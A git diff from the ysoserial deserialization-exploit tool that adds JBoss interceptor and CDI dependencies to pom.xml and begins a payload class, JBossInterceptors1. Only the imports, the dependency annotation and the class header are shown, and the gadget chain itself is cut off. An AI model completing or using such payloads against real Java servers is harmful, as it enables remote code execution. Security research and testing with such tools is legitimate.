diff --git a/pom.xml b/pom.xml
index d82c1f4..4b1631a 100644
--- a/pom.xml
+++ b/pom.xml
@@ -257,6 +257,46 @@
jython-standalone
2.5.2
+
+ rhino
+ js
+ 1.7R2
+
+
+ javassist
+ javassist
+ 3.12.0.GA
+
+
+ org.jboss.weld
+ weld-core
+ 1.1.33.Final
+
+
+ org.jboss.interceptor
+ jboss-interceptor-core
+ 2.0.0.Final
+
+
+ org.jboss.interceptor
+ jboss-interceptor-spi
+ 2.0.0.Final
+
+
+ javax.enterprise
+ cdi-api
+ 1.0-SP1
+
+
+ javax.interceptor
+ javax.interceptor-api
+ 3.1
+
+
+ org.slf4j
+ slf4j-api
+ 1.7.21
+
diff --git a/src/main/java/ysoserial/payloads/JBossInterceptors1.java b/src/main/java/ysoserial/payloads/JBossInterceptors1.java
new file mode 100644
index 0000000..42e4eed
--- /dev/null
+++ b/src/main/java/ysoserial/payloads/JBossInterceptors1.java
@@ -0,0 +1,79 @@
+package ysoserial.payloads;
+
+import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
+import org.jboss.interceptor.builder.InterceptionModelBuilder;
+import org.jboss.interceptor.builder.MethodReference;
+import org.jboss.interceptor.proxy.DefaultInvocationContextFactory;
+import org.jboss.interceptor.proxy.InterceptorMethodHandler;
+import org.jboss.interceptor.reader.ClassMetadataInterceptorReference;
+import org.jboss.interceptor.reader.DefaultMethodMetadata;
+import org.jboss.interceptor.reader.ReflectiveClassMetadata;
+import org.jboss.interceptor.reader.SimpleInterceptorMetadata;
+import org.jboss.interceptor.spi.instance.InterceptorInstantiator;
+import org.jboss.interceptor.spi.metadata.InterceptorReference;
+import org.jboss.interceptor.spi.metadata.MethodMetadata;
+import org.jboss.interceptor.spi.model.InterceptionModel;
+import org.jboss.interceptor.spi.model.InterceptionType;
+import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.util.Gadgets;
+import ysoserial.payloads.util.PayloadRunner;
+
+import java.lang.reflect.Constructor;
+import java.util.*;
+
+/*
+ by @matthias_kaiser
+*/
+@SuppressWarnings({"rawtypes", "unchecked"})
+@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final", "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1", "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"})
+public class JBossInterceptors1 implements ObjectPayload